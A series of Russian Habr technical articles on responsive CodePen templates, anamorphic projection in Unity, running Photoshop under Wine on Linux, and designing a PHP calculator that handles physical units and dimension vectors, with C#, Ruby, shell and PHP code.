------------
Выполнив этот код, мы увидим, что клиент успешно подключается, а сообщения поочередно публикуются и получаются:
```
php pubsub_tcp.php
```
Заключение
----------
В этом коротком проекте мы реализовали подключение к публичному MQTT-серверу с помощью php-mqtt/client, успешно настроив публикацию сообщений и их получение клиентом по подписке.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=ispolzovanie_protokola_mqtt_v_php) | https://habr.com/ru/post/676284/ | null | ru | null |
# Комбинирование адаптивной верстки и шаблонов для мобильных
Статья является переводом отличного, вдохновляющего, хоть и небольшого поста [Mixing Responsive Design and Mobile Templates](http://css-tricks.com/mixing-responsive-design-and-mobile-templates/) от одного из создателей [CodePen](http://codepen.io/), [Криса Койера](http://chriscoyier.net/).
*Итак, вы заняты стратегической проработкой поведения своего сайта для мобильных устройств. По идее вам надо бы выбрать что-то одно — или адаптивный дизайн, или создание отдельного сайта для мобильных. Что ж, возможно, это не так. Может быть, вам удастся сочетать сразу несколько стратегий.*
Каждый день мы с командой разработчиков [CodePen](http://codepen.io/) ударно трудимся. Но нас всего трое. Разработка нашей мобильной стратегии — просто из последних сил доделать проект, когда 1) на это находится время и 2) появляются хорошие идеи, как со всем этим разобраться.
#### Пример адаптивного шаблона
Например, наша страница Recent Activity. Она настолько проста, что вполне достаточно пары медиа-запросов, чтобы немного раскидать элементы, и капельки JavaScript для переключения фильтров:
#### Пример специального шаблона для мобильных
Теперь давайте взглянем на страницу Details на настольном компьютере:
Эта страница куда более сложна. В ней используется такая же разметка, как в редакторе. Там вы можете мышкой растягивать окно предпросмотра. Там используются клавиатурные команды.Для мобильных такой вариант этой страницы явно не подходил, текст выглядел микроскопическим. А при использовании соответствующих метатэгов и загрузке текстов в адаптированном для мобильных размере сделало дизайн совершенно неуклюжим и наплодило совсем уж непотребных скроллов везде, где только можно.
Это была наша самая ужасная страница для мобильных.
Мне пришлось бы устроить настоящую войну, вооружишись CSS, чтобы привести эту страницу в норму. Но даже если бы мне это удалось, там еще оставался бы приличный кусок JavaScript-кода, который уже не нёс никакой полезной нагрузки. Но вместо всего этого я решил написать специальный темплейт для мобильных. Этот вариант позволил полностью контролировать и HTML, и CSS, и JavaScript — а значит, загружать только необходимое. И теперь появилась возможность использовать повторяющиеся элементы практически *во всём*, потому что это *всё* мы уже собирали из модулей. Я мог сложить нужные фрагменты HTML, JS-модули, сделать новый CSS при минимуме усилий.
Вот теперь страница Details стала намного удобнее для восприятия, не говоря уже о скорости загрузки.
Если интересно, то мы используем [браузерный гем](https://github.com/fnando/browser) для выбора, какой шаблон запускать для рендера на уровне контроллера. По сути это отслеживание User-Agent, что не очень-то хорошо, но по крайней мере это все происходит на сервере и работает на регулярно обновляемом open-source ПО.
Код на Ruby:
```
if browser.mobile?
render :template => 'details/mobile', :layout => "mobile-pages"
else
render :template => 'details/index', :layout => "pages"
end
```
На заметку: всё, что можно сделать сделать в десктопном браузере, можно сделать и в мобильном.
#### Пример «нуууу-не-совсем-готовой» страницы
Пока еще не все шаблоны CodePen достаточно адаптированы для маленьких экранов. Например, страница Редактора — возможно, самая важная часть всего приложения — вообще не имеет ни адаптивного дизайна, ни мобильной версии.
Она вполне нормально выглядит на iPad и прочих больших планшетах, но на маленьком экране она выглядит далеко не идеально. Это не та страница, которую мы бы хотели оставить кривобокой, так что мы оставляем ее только в десктопном варианте, пока не появится достаточно хорошей идеи для решения этой проблемы. Скорее всего это будет реализвано в виде отдельного шаблона для мобильных.
#### Пример использования фрагментов темплейтов для мобильных в адаптивном дизайне
Посмотрите на страницу профиля пользователя:
Это адаптивный шаблон. По-моему, он отлично проработан во всем, **кроме зоны вкладок,** которая разъезжается на две строки. Выглядит она неважно, да и масштабироваться нормально не будет, если нам придется добавить еще несколько пунктов. Поэтому для навигации в Профиле мы в этом месте заменяем вкладки на выпадающий список `.
Это уже явно получше выглядит.
#### Всё в процессе
Я всё это рассказываю вовсе не для того, чтобы представить вам CodePen как светоч дизайна для мобильных. Он явно пока не тянет на эту роль. Но я уверен, что было бы интересно задуматься над гибирдным и итерационным подходом в дизайне веб-приложений для мобильных.
Не нужны никакие отдельные домены и URL, никаких отдельных репозитариев и движков, не нужно разделять разработчиков на отдельные команды. Просто одна целая знатная зверюга. Правильно, я считаю.` | https://habr.com/ru/post/171709/ | null | ru | null |
# Создание анаморфных искажений в Unity
Всем привет! Сейчас я работаю в VRTech, и в рамках работы я натолкнулся на интересную задачу о которой хочется рассказать. Задача заключалась в том, чтобы получить анаморфное отображение картинки. Я попытаюсь рассказать, что такое анаморфные искажения, как рассчитать простейший случай линейного отображения такого искажения на плоскость, а так же предложу своё решение реализованное с помощью Unity.
Недавно на работе мне предложили интересную задачку, посчитать на листике, как преобразовать картинку для создания анаморфного искажения. Мне нравится математика, по этой причине я заинтересовался, так как никогда про них не слышал. Что же такое анаморфные искажения?
В общем оптическое анаморфирование — это способ искажения изображения, который подразумевает различный масштаб преобразования в двух взаимноперпендикулярных направлениях. В целом оно используется для того, чтобы убрать перспективные искажения, но так же стало достаточно популярным инструментом в искусстве.
Для создания правдоподобного эффекта очень важной деталью является точка обзора. Если вы видели 3д арт на улице, то понимаете, что шаг-вправо, шаг-влево и иллюзия распадается.
Почитав статьи по тому, как делается такое преобразование и поняв, что в целом ничего сложного в этом нет, я, как программист, подумал, что наверняка где-то на просторах интернета уже есть готовая библиотека. Причём в идеале такая библиотека должна предоставлять функционал, чтобы параметрически задавать точку обзора, предполагаемую высоту изображения и прочие плюшки. Я нашёл пару решений, но ни одно из них не работало. Поэтому пришлось писать своё.
Пройдёмся по тому, как в общем строится такое изображение. Изначально берётся желаемый результат и разбивается на сетку. Чем мельче сетка — тем точнее решение. В Unity я решил просто сгенерировать меш, у которого можно регулировать количество ячеек в сетке.
Дальше выбераем точку обзора и плоскость, на которую мы будем строить наше отображение. После этого в плоском случае в тривиально, мы просто проводим прямые, которые проходят точки сетки и точку обзора.
Выбор инструмента пал на Unity, так как я его отлично знаю, а так же все статьи, которые я находил на просторах интернетов были написаны популярным, а не математическим языком, и мне хотелось без лишних телодвижений проверить корректность работы алгоритма (не распечатывая на принтере решение, и думая, что же тут не так). В Unity такое реализовать очень просто, так как результат можно посмотреть через камеру в 3д пространстве. К тому же имеется реализованный инструментарий для работы с 3д, векторами и т. п.
По списку фич решение должно было на вход получать изображение, точку обзора пользователя, высоту (в метрах) результата с точки зрения пользователя, а так же точность решения.
Для того, чтобы сделать всё это как можно проще, я решил сделать самый простой способ решения. Сгенерировать меш правильно расставив на нём uv координаты, натянуть на него нужное изображение. Дальше с помощью проекции сгенерить новый меш с новыми вертексами и нормалями, но старыми uv координатами.
Первая задача решается довольно просто, так как меш обладает простой структурой, и необходимо было сгенерировать простенькую сетку и правильно пронумеровать треугольники. Меш в данном случае является плоскостью, на которую картинтка натягивается целиком, так что правильная расстановка uv координат так же не составляет труда.
Котика для тестов вы уже видели, но покажу его без “света”, так он покрасивее.
Меш сгенерирован, дальше необходимо было посчитать новые вертексы и новые нормали. Я решил определять новые вертексы с помощью определения точки пересечения прямой, проведённой через две точки, и плоскости, заданной тремя точками. Метод определения точки пересечения между плоскостью и прямой требует определения нормали к плоскости, так что новые нормали были так же посчитаны.
**Заголовок спойлера**
```
private Vector3 GetIntersectionOfLineAndPlane(
Vector3 linePoint1,
Vector3 linePoint2,
Vector3 planePoint1,
Vector3 planePoint2,
Vector3 planePoint3,
ref Vector3 planeNormal)
{
Vector3 result = new Vector3();
planeNormal = Vector3.Cross(planePoint2 - planePoint1, planePoint3 - planePoint1);
planeNormal.Normalize();
Debug.Log(planeNormal.ToString());
var distance = Vector3.Dot(planeNormal, planePoint1 - linePoint1);
var w = linePoint2 - linePoint1;
var e = Vector3.Dot(planeNormal, w);
if(e != 0)
{
result = new Vector3(
linePoint1.x + w.x * distance / e,
linePoint1.y + w.y * distance / e,
linePoint1.z + w.z * distance / e);
}
else
{
result = Vector3.one * (-505);
}
return result;
}
}
```
Всё, решение готово! В целом задача довольно простая, но в то же время интересная. Думаю на этом эффекте можно даже сделать довольно забавную игру и сломать мозги игрокам. В видео можно посмотреть результат работы. (Исходная картинка на видео очень тёмная, так как я не настраивал свет)
Чуть позже я может допилю функционал, чтобы можно было проецировать на несколько плоскостей, а так же на отражающие поверхности и добиваться эффекта вроде этого.
Непосредственно с кодом решения, а так же следить за его возможным дальнейшим развитием можно [тут](https://github.com/Nox7atra/Unity-Anamorphics). | https://habr.com/ru/post/320926/ | null | ru | null |
# Linux в домашних условиях или…
Как заставить Linux запускать через Wine профессиональный софт на примере Adobe Photoshop СС 2018 без использования инструментария Play on Linux.
=================================================================================================================================================
Все что будет написано под катом является экспериментом который вы можете сами провернуть на своей рабочей станции с операционной системой на базе ядра Linux или на macOS кому как нравится.
Подготовка к эксперименту
-------------------------
Вам для начала понадобится базовый инструментарий, с которым мы будем работать.
В моем случае это:
* Дистрибутив Archlinux. [#](https://www.archlinux.org/)
* Wine Staging с поддержкой Gallium Nine, версии 3.13
А также необходимый софт(в качестве экспериментального примера указан Adobe Photoshop СС 2018)
Первый этап
-----------
### Подготовка рабочего пространства
Первое что нам необходимо сделать на данном этапе это заставить Wine сформировать рабочую директорию с необходимыми нам параметрами.
> Это делается достаточно просто:
>
>
> ```
> WINEARCH=win32 # или win64 в зависимости от архитектуры приложения или нужного вам окружения
> WINEPREFIX=$HOME/.WineExperiment # или любой другой путь
> export WINEARCH
> export WINEPREFIX # либо можете сократить это дело до двух строк указав нужные вам параметры переменных окружения
> wine wineboot # для создания пространства архитектуры WINEARCH в WINEPREFIX указанные и экспортированные ранее
> ```
>
>
>
### Подготовка к установке и установка
В дальнейшем нам понадобятся инструменты winedump, grep и winetricks. [#](https://raw.githubusercontent.com/Winetricks/winetricks/master/src/winetricks)
С помощью `winedump dump <установщик> -j import | grep offset` находим необходимые библиотеки для работы с программой установки.
В моем случае все необходимое уже есть в стандартном окружении.
И если вам нужны компоненты для запуска установщика то вам нужно выполнить следующие строчки.
```
wget <ссылка из #>
chmod +x ./winetricks
./winetricks --gui # и находите нужный вам компонент
```
> Для любопытных
>
> Если вам нужен winetricks установленный в окружение, то, либо скачайте его в директорию $HOME/bin далее поставьте права исполнения на этот файл и затем добавьте её в переменную PATH в .bashrc, либо используйте пакетный менеджер для его установки.
>
> В своём случае применяю универсальный метод доступный во многих дистрибутивах:
>
>
> ```
> pkcon install winetricks
> ```
>
>
>
Попробуем запустить установщик используя `WINEDLLOVERRIDES=winemenubuilder.exe=d wine <установщик>`.
> Для любопытных.
>
> Вы в праве использовать `WINEDEBUG=info` для обнаружения ошибок в работе установщика.
>
>
>
> Для незнающих
>
> `WINEDLLOVERRIDES=winemenubuilder.exe=d` отключает создание ярлыков и типов.
Второй этап
-----------
### Запуск и поиск проблем
Для этого этапа нам понадобятся те же инструменты что используются в первом этапе.
Запускаем `wine cmd` для входа в рабочее окружение.
С помощью команды `cd` переходим в папку с программой и запускаем её.
В случае необходимости входим или регистрируемся. В своём случае я использую эту программу в пробном режиме ибо денег нет.
И он у меня запускается и работает без пинков, но не все так гладко как казалось.
Photoshop увидел, что я использую графическую карту с недостаточным количеством видеопамяти, а следовательно от некоторых функций мне придётся отказаться таких, как 3D и небольшого количества фильтров.
> Решение
>
>
> ```
> ./winetricks settings videomemorysize=512 # надеюсь вы его установили или скачали
> ```
>
>
>
По закрытию Photoshop выдал ошибку в подпрограмме CEPHtmlEngine.
> Решение
>
> Эта ошибка появляется лишь единожды. Её вы можете игнорировать.
Отчет
-----
В рамках этого эксперимента можно убедиться в работоспособности программного обеспечения на платформе являющейся явно несовместимой для запуска со стандартными настройками.
Но как следует из эксперимента, проблем требующих от пользователя каких либо действий не было, я умышленно не считаю проблемы связанную с графической картой и там где решением является просто закрытие окна отчета об ошибке как ту, что требует дополнительных действий.
#### P.S.
Пишите в комментариях если что-то не понятно будем разбираться сообща или наоборот, чтобы дополнить текст статьи вашим предложением.
Спасибо за потраченное вами время. | https://habr.com/ru/post/421703/ | null | ru | null |
# Создаем калькулятор с единицами измерений
Как-то раз мне нужно было реализовать калькулятор для складывания и конвертации физических величин. У меня тогда не было ограничений по времени, поэтому я решил проблему на высоком уровне абстракции и, соответственно, под широкий спектр задач. Предлагаю на ваш суд мое решение.
Представьте, что вам нужно написать калькулятор, который умеет не просто считать цифры, а оперировать физическими (измеряемыми) величинами – складывать длину, конвертировать количество чего-то из одной единицы измерения в другую, и т.п. Первым делом, давайте обозначим чуть конкретнее задачу. У нас будут вот такие фичи:
* Калькулятор должен поддерживать условно любую математическую операцию, т.е. понятие операции должно быть своего рода интерфейсом, чтобы при необходимости их можно было добавлять. Но для начального этапа давайте остановимся на следующем перечне:
+ Сложение/вычитание
+ Умножение/деление
* При работе с калькулятором, мы хотим полностью переложить на плечи калькулятора вопросы конвертации единиц измерений. Отсюда следует 2 вещи:
+ До тех пор, пока запрашиваемая операция имеет физический смысл, калькулятор должен сам понимать, как ему конвертировать операнды для выполнения математической операции. К примеру: *10 футов + 5 метров* (складываются 2 длины) или *10 ньютонов \* 1 дм* (если помните физику, то тут результат должен быть в Джоулях).
+ Если же с физической точки зрения запрашиваемая операция бессмысленна, то даже при наличии математического смысла, нужно отказываться от ее выполнения. К примеру, *10 метров + 5 кг* с физической точки зрения – полный нонсенс, хотя математически мы еще как-то могли бы сложить 10 и 5.
* Хоть какая-то производительность: на выборках размера 10-100 тыс. выражений калькулятор должен отрабатывать за доли секунды.
* Конкретная задача, под которую я искал решение, требовала сохранять “измеряемые значения” в БД.
Анализ предметной области
-------------------------
В процессе анализа я буду двигаться от общего к частному.
Прежде всего видно, что тут есть своего рода два измерения – физика и математика. Для физики важна размерность каждого из операторов. Ведь *5 метров / 2 секунды* это не *5 кг / 2 м2* ибо единицы измерения отличаются. А для математики *5 метров \* 100* отличается от *5 км \* 0.1*, т.к. там разные цифры фигурируют.
Начнем с того, что введем понятие выражения. Пускай это будет нечто, чем будет оперировать калькулятор. Простейшими выражениями могут быть вещи из разряда *5 метров*, *45* (просто безразмерная константа) и т.д. Но выражения могут быть и более сложными: *10 метров + 2 см* или *5 кг \* 45*.
Как бы там ни было, любое выражение должно знать (либо уметь находить) 2 своих свойства:
1. абсолютную величину (математика)
2. размерность (физика)
Абсолютную величину можно найти, приведя единицы измерений к их SI базовой единице и посчитав циферки. Для выражения *10 км / 3 часа* абсолютная величина будет ~1.39: *10 км / 3 часа* = *10000 м / 7200 с* = *1.39 м/с*. Ну и физическая размерность уже очевидна: *м/с*.
А для выражения 5 \* 2, абсолютная величина 10, физическая размерность нуль (ничего).
За счет операторов (действий) мы из простых выражений можем строить более сложные и сложности этой нет предела.
Физическая размерность
----------------------
Для нас интуитивно понятно, что *2 км* и *2 м2 / 10 см* обладают одинаковой размерностью — метры. А как это объяснить компьютеру? Для начала нам потребуются базовые физические измерения. Не будем изобретать велосипед и возьмем SI единицы измерений как базовые:
* длина, м
* масса, кг
* время, с
* … этот список можно продолжать, вводя новые измерения (электрический заряд, температура, и т.д.), но для простоты нашего анализа, давайте остановимся на первых трех.
Тогда размерность любого выражения можно представить в виде вектора размерности. Длинна такого вектора размерности будет равняться количеству известных базовых единиц измерений. Значение напротив каждого из базовых измерений будет показывать степень размерности по этому измерению.
Тогда с позиции физики мы всегда смотрим на размерность (вектор размерности) выражений. Например: *10 км* или *1 м* – вектор размерности у обоих выражений одинаковый, хоть они и используют две разные единицы измерений.
С математикой (абсолютное значение), надеюсь, сильно объяснять не нужно – просто считаем циферки, как на обычном калькуляторе.
Комплексные единицы измерений
-----------------------------
Нам еще нужно научиться раскладывать комплексные (небазовые) единицы измерений на базовые – будет полезно как для физики (а ну-ка, назовите мне вектор размерности *1 Джоуль*) так и для математики (какова будет абсолютная величина *8 км*).
Представьте, что у нас будет справочная таблица, где ключом будет единица измерений, а значением выражение, которое эту единицу измерений расщепляет на базовые, сохраняя размерность и абсолютное значение оригинальной комплексной единицы измерения.
Соответственно, если единицы измерений нет в справочной таблицы – значит такая единица уже является базовой (неразложимой) а посему – входит в вектор размерности. Давайте назовем такую справочную таблицу таблицей декомпозиции, т.к. она объясняет как можно декомпозировать комплексные единицы измерений в базовые.
Обратите внимание, что декомпозиция может происходить как на физическом уровне (Ньютон декомпозируется исключительно в другие единицы измерений, по абсолютной величине он не меняется), так и математически (километр декомпозируется в свою базовую единицу измерений и “корректируется” численно).
Публичный (высокоуровневый) интерфейс
-------------------------------------
Вот мы уже нащупали определенные абстракции, которые прячутся за задачей. Теперь давайте придумаем интерфейс, который мы хотим предоставить наружу, и который наш калькулятор обязуется реализовать. В этом месте важно спроектировать интерфейс так, чтобы он был элегантным, легким к пониманию и использованию снаружи.
Безусловно, в центр сцены нужно ставить нашу абстракцию выражение. На вход калькулятору будут даваться какие-то сложные выражения с умножением, суммой и т.д., а на выходе он должен давать эквивалентное выражение, которое уже посчитано и приведено к максимально простой форме.
### Интерфейс выражения
Какие методы нам потребуется в этом интерфейсе выражение? Я предлагаю следующие:
* `dimension() : Dimension` получить вектор размерности нашего выражения. Мы его будем внутренне использовать для валидации физического смысла (мухи можно складывать только с мухами). Будет полезно дать его “наружу” как часть публичного интерфейса, т.к. весьма логично, что кто-то рано или поздно захочет узнать размерность какого-нибудь выражения.
* `evaluate() : float` Расчитать абсолютное значение выражения, т.е. посчитать “математику”.
* `decompose() : MathematicalExpression` разложить все комплексные единицы измерения в выражении на их декомпозицию. Нам этот метод будет полезен как для вычисления абсолютного значения, так и для расчета вектора размерности. Но опять же, звучит весьма логично включить эту операцию в наш публичный интерфейс ведь кому-нибудь такая операция может понадобиться за пределами внутренней реализации нашего калькулятора.
* `formatQuantity(float $quantity)` вписать в наше выражение константы (и подобрать эти константы) так, чтобы численно выражение начало равняться `$quantity`. Такой метод будет чуть гибче, чем просто конвертация из одной единицы в другую. Вот пример: американцы используют футы и дюймы для человеческого роста. У меня рост 180 см. Я мог бы сконвертировать это в футы (5.905512) либо в дюймы (70.8661457). Но для американского мозга каноничный вид – это выделить полные футы и остаток записать в виде дюймов – 5 дюймов 10.8 дюймов. Тогда снаружи можно представить себе следующий псевдо-код для форматирования/конвертации (может быть на 2-3 строчки больше кода, но гибкость конструкции на порядок выше):
```
$quantity = $source_expression->evaluate();
$european_height = new MathematicalExpression(“1 * meter”);
$european_height->formatQuantity($quantity);
print $european_height->toString() . “\n”; // 1.8 * meter
$us_height = new MathemticalExpression(“1 * foot + 1 * inch”);
$us_height->formatQuantity($quantity);
print $us_height->toString() . “\n”; // 5 * foot + 10.8 * inch
```
Заметьте, мы можем утверждать, что два выражения равны тогда и только тогда, когда их векторы размерности равны, и когда их абсолютное значение одинаковое. Вот примеры:
* 100 м и 0.1 км равны, т.к. у обоих размерность метра и абсолютная величина равняется 100.
* 100 м и 100 кг не равны, т.к. у них физическая размерность отличается.
### Интерфейс размерности
Еще у нас есть понятие вектора размерности. Было бы неплохо ввести некоторый интерфейс для работы с размерностями. Нам будет уместно определить следующие операции на векторах размерности:
* `addDimension(Dimension $dimension1, Dimension $dimension2) : Dimension` Сложить одну размерность с другой. Банально выполняем векторное сложение/вычитание. Это будет полезно при операциях умножения, когда размерности складываются.
* `subtractDimension(Dimension $dimension1, Dimension $dimension2) : Dimension` Вычесть одну размерность из другой. Аналогично с предыдущей операцией, только инвертируется знак. Будет полезно, когда обрабатывается операция деления.
* `isEqual(Dimension $dimension1, Dimension $dimension2) : bool` Сравнить одну размерность с другой. На этом методе будет основываться вся логика валидации физических размерностей. С помощью этой функции мы поймем, имеет ли физический смысл складывать/вычитать два выражения.
### Интерфейс оператора
Я уже упомянул, что нам потребуется понятие математической операции. Пришло время рассмотреть его в деталях. Прежде всего, мы уже обусловились, что “рабочая лошадка” нашего калькулятора – это интфрейс выражения. Наш калькулятор безусловно должен уметь полноценно работать с операторами, из этого следует, что интерфейс оператора должен расширять интерфейс выражения. Кстати, это весьма логично! Если *10 м* – это выражение, то почему бы *10 м + 20 см* не быть выражением?
Это значит, что операторы должны уметь расчитывать свою размерность, расчитывать свое абсолютное значение, и прочий функционал, подразумеваемый интерфейсом `MathematicalExpression`.
Но операторы явно чуть больше, чем просто выражение. Давайте еще добавим в интерфейс оператора следующие методы:
* `operand1() : MathematicalExpression` получить первый (левый) операнд
* `operand2() : MathematicalExpression` получить второй (правый) операнд
Опять же, логично дать возможность кому-то снаружи исследовать левый и правый операнд на случай, если кто-то захочет каким-то образом анализировать уже существующее выражение. Это хороший пример полного интерфейса – я не знаю для чего кому-то может понадобиться левый и правый операнды, но это чертовски звучит как неотъемлемая часть интерфейса оператора.
Распределение обязанностей между слоем приложения и БД
------------------------------------------------------
В постановке задачи мы согласились, что будем хранить эти выражения в БД, и что система должна быть производительна на масштабе десяток-сотен тысяч выражений. Это значит, что сортировка по абсолютному значению должна выполняться внутри БД. В противном случае мы будем очень медленны.
Тут буквально три пункта, которые нужно проговорить:
* Логика валидации данных должна быть на уровне приложения. У нас вся валидация сводится к тому, что выражение должно иметь физический смысл, т.е. размерности не противоречат друг другу. Слой приложения не должен записывать в БД выражение, которое не имеет физического смысла. Из этого следует, что на уровне БД нам не нужно заморачиваться по поводу размерности, т.к. любое выражение гарантированно валидное. Это отличная новость, т.к. нам не нужно реализовывать вопросы размерности на уровне БД — а это и меньше работы, и потенциальный прирост производительности, т.к. нужно будет исполнять меньше логики в момент SQL запроса.
* Выражения нужно записывать в БД в своем первозданном (немодифицированном) виде. Этот принцип полезен практически для любой задачи. В нашем конкретном случае важно записывать первозданное выражение на тот случай, если таблица декомпозиции изменится.
* Получается, что БД только ответственна за расчет абсолютного значения. На практике ожидается, что эта функция будет использоваться для ORDER BY либо WHERE частей SQL запроса.
Внутренняя реализация
---------------------
В этом месте проведем жирную черту. Мы закончили обсуждать интерфейс высокого уровня, который предоставляет наш калькулятор и начинаем двигаться вглубь (дебри) его реализации.
### Интерфейс вектора размерности
Тут довольно тривиальная реализация – просто некоторый словарь, где ключом являются базовые размерности, а значение – это степень размерности. Векторное сложение и вычитание реализуются несколькими строчками на любом языке программирования.
Функцию `isEqual(Dimension $dimension1, Dimension $dimension2) : bool` можно реализовать следующим образом:
1. Вычтем одну размерность из другой.
2. Если полученный вектор состоит исключительно из нулей, значит размерности одинаковые.
### Интерфейс выражения
В интерфейс выражения нам еще нужно добавить один “внутренний” метод, который нам облегчит жизнь при реализации метода `formatQuantity()`. Метод под названием `containsDimensionlessMember()` будет возвращать bool и указывать на то, может ли это выражение каким-то образом мутироваться, чтобы численно равняться какой-то величине. Т.к. на численное значение влияет лишь константа, поэтому метод так и называется “имеешьЛиТыБезразмерныйЧлен”.
Этот интерфейс будет иметь 2 реализации: под единицу измерения и под константу. Так будет очень удобно – единица измерения диктует размерность и по надобности ее можно/нужно декомпозировать, тогда как константа заведомо безразмерна и только влияет на абсолютное значение результата.
Я здесь просто приведу листинг кода на PHP. Думаю, так будет проще, чем писать словами.
#### Константа
**Посчитать размерность выражения**
```
/**
* Determine physical dimension of this mathematical expression.
*
* @return array
* Dimension array of this mathematical expression
*/
public function dimension() {
// Мы безразмерный член в любом выражении.
return array();
}
```
**имеешьЛиТыБезразмерныйЧлен()**
```
/**
* Test whether this mathematical expression includes a dimensionless member.
*
* Whether this mathematical expression contains at least 1 dimensionless
* member.
*
* @return bool
* Whether this mathematical expression contains at least 1 dimensionless
* member
*/
public function containsDimensionlessMember() {
return TRUE;
}
```
**Вписать необходимое абсолютное значение в выражение**
```
/**
* Format a certain amount of quantity within this mathematical expression.
*
* @param float $quantity
* Quantity to be formatted
*
* @return MathematicalExpression
* Formatted quantity into this mathematical expression. Sometimes the
* mathematical expression itself must mutate in order to format the
* quantity. So the returned mathematical expression may not necessarily be
* the mathematical expression on which this method was invoked. For
* example, the expression "unit" would mutate into "1 * unit" in order to
* have a dimensionless member and therefore be able to format the $quantity
*/
public function formatQuantity($quantity) {
// Когда нам говорят сверху “Ты должен равняться столько-то”,
// то мы просто перезаписываем свое значение.
$this->constant = $quantity;
return $this;
}
```
**Расчитать абсолютное значение выражения**
```
/**
* Numerically evaluate this mathematical expression.
*
* @return float
* Numerical value of this mathematical expression
*/
public function evaluate() {
// Численно мы равны самому себе.
return $this->constant;
}
```
**Декомпозиция выражения**
```
/**
* Decompose (simplify) this mathematical expression.
*
* @return MathematicalExpression
* Decomposed (simplified) version of this mathematical expression
*/
public function decompose() {
// Дальше разлагаться некуда, поэтому возвращаем самого себя.
return $this;
}
```
#### Единица измерений
Для упрощения статьи, давайте оставим за ее рамками вопросы работы со справочной таблицей декомпозиции (той таблицей, где мы храним данные о том, как небазовые единицы измерений можно разложить на базовые). Просто представьте, что в нашем классе “единицы измерений” уже есть свойство, и в него записано декомпозиция. Если же это базовая единица, то это свойство не проинициализировано.
**Посчитать размерность выражения**
```
/**
* Determine physical dimension of this mathematical expression.
*
* @return array
* Dimension array of this mathematical expression
*/
public function dimension() {
// Если мы комплексная единица, то делегируем размерность в нашу декомпозицию.
// В противном случае мы базовая единица размерности, о чем мы гордо заявляем
// в возвращаемом векторе размерности.
return is_object($this->decomposition) ? $this->decompose()->dimension() : array($this->identifier() => 1);
}
```
**имеешьЛиТыБезразмерныйЧлен()**
```
/**
* Test whether this mathematical expression includes a dimensionless member.
*
* Whether this mathematical expression contains at least 1 dimensionless
* member.
*
* @return bool
* Whether this mathematical expression contains at least 1 dimensionless
* member
*/
public function containsDimensionlessMember() {
// По определению, мы единица измерений, а следовательно, не являемся
// безразмерным членом.
return FALSE;
}
```
**Вписать необходимое абсолютное значение в выражение**
```
/**
* Format a certain amount of quantity within this mathematical expression.
*
* @param float $quantity
* Quantity to be formatted
*
* @return MathematicalExpression
* Formatted quantity into this mathematical expression. Sometimes the
* mathematical expression itself must mutate in order to format the
* quantity. So the returned mathematical expression may not necessarily be
* the mathematical expression on which this method was invoked. For
* example, the expression "unit" would mutate into "1 * unit" in order to
* have a dimensionless member and therefore be able to format the $quantity
*/
public function formatQuantity($quantity) {
// Если от нас просят численно равняться чему-то, мы поступаем хитро.
// Ведь мы – единица измерений, математика – это не наша прерогатива.
// Поэтому мы на лету создаем выражение, где умножаем сами себя на единицу.
// В таком выражении уже есть константа, в которую можно вписать $quantity.
// Дальше мы просто делегируем вызов в это выражение, которое мы собрали
// “на лету”.
// We expand this unit into "1 * $this" so we get a dimensionless
// member that can be formatted.
return (new MathematicalExpression(1 * “ . $this->toString()))->formatQuantity($quantity);
}
```
**Расчитать абсолютное значение выражения**
```
/**
* Numerically evaluate this mathematical expression.
*
* @return float
* Numerical value of this mathematical expression
*/
public function evaluate() {
// Если мы уже являемся базовой единицей измерения, то
// для нас не существует понятия абсолютной величины.
// Какая абсолютная величина метра? - Заметьте, я сказал “метра”,
// а не “одного метра”.
return is_object($this->decomposition) ? $this->decompose()->evaluate() : NULL;
}
```
**Декомпозиция выражения**
```
/**
* Decompose (simplify) this mathematical expression.
*
* @return MathematicalExpression
* Decomposed (simplified) version of this mathematical expression
*/
public function decompose() {
// Если мы сложенная единица измерений, то делегируем.
if (is_object($this->decomposition)) {
return $this->decomposition->decompose();
}
// Иначе разлагаться дальше некуда и мы возвращаем сами себя.
return $this;
}
```
#### Математическая операция
Здесь реализация будет немного сложнее.
Во-первых, давайте обусловимся записывать константы и единицы измерений через знак умножения, т.е. *10 meter* на самом деле надо бы записывать в виде *10 \* meter*. Это очень полезно, т.к. позволяет писать только единицы измерений *meter / second* так и их комбинации любой сложности: *10 \* meter / second* или *10 \* meter / (2 \* second)*.
В основу мы возьмем бинарное дерево. В ноде дерева будет оператор, а двумя детьми его операнды. Такой конструкцией мы можем строить выражения любой сложности. Выражение *10 \* meter + 20 \* inch* будет выглядеть вот так:
Заметьте, в листьях такого дерева (терминальной ноде) будут либо единицы измерений либо константы, а в остальных нодах – операторы.
По большей части реализация оператора делегирует вызовы в правильном порядке своим двум операндам. Наши 4 оператора отличаются друг от друга только в считанных местах. Поэтому я написал один класс-реализацию и такие считанные места параметризировал через свойство `$this->operator`, в этом свойстве упакованы следующие параметры:
* Расчет абсолютного значения имея на руках абсолютные значения обоих операндов. Эту часть в реализации я абстрагировал в `$this->operator['evaluate callback']`.
* Необходимость сравнения размерности – некоторые операторы требуют, чтобы оба их операнда обладали идентичной размерностью (сумма), а другие не выставляют такого требования (умножение). Для этого мы храним простой булиновский флаг в `$this->operator['dimension check']`.
* Расчет результирующей размерности при известных размерностях обоих операндов – абстрагировано в `$this->operator['dimension callback']`.
* Самая сложная часть – это логика, отвечающая за форматирование какого-то абсолютного количества (метод `formatQuantity()`). Она абстрагирована в `$this->operator['split quantity callback']`, который должен распределить абсолютное значение между первым и вторым операндом так, чтобы хотя бы в одном из них была “красивая” константа.
**Посчитать размерность выражения**
```
/**
* Determine physical dimension of this mathematical expression.
*
* @return array
* Dimension array of this mathematical expression
*/
public function dimension() {
// Здесь ответ зависит от конкретного оператора.
// В случае со сложением/вычитанием, размерность не изменится.
// А вот в случае умножения/деления, изменения будут. Соответственно,
// нужно делегировать в колбек под каждый из операторов.
//
// Отдельно предлагаю рассмотреть оператор возведения в степень.
// При этом операторе результат зависит от абсолютного значения второго
// операнда. Размерность “meter ^ 2” отличается от “meter ^ 3”. Поэтому мы
// даем полный контекст в dimension callback – размерность и абсолютное
// значение обоих операндов, а не просто их размерность.
$dimension_callback = $this->operator['dimension callback'];
list($evaluate1, $evaluate2) = $this->evaluateOperands();
return $dimension_callback($this->operand1->dimension(), $this->operand2->dimension(), $evaluate1, $evaluate2);
}
```
**имеешьЛиТыБезразмерныйЧлен()**
```
/**
* Test whether this mathematical expression includes a dimensionless member.
*
* Whether this mathematical expression contains at least 1 dimensionless
* member.
*
* @return bool
* Whether this mathematical expression contains at least 1 dimensionless
* member
*/
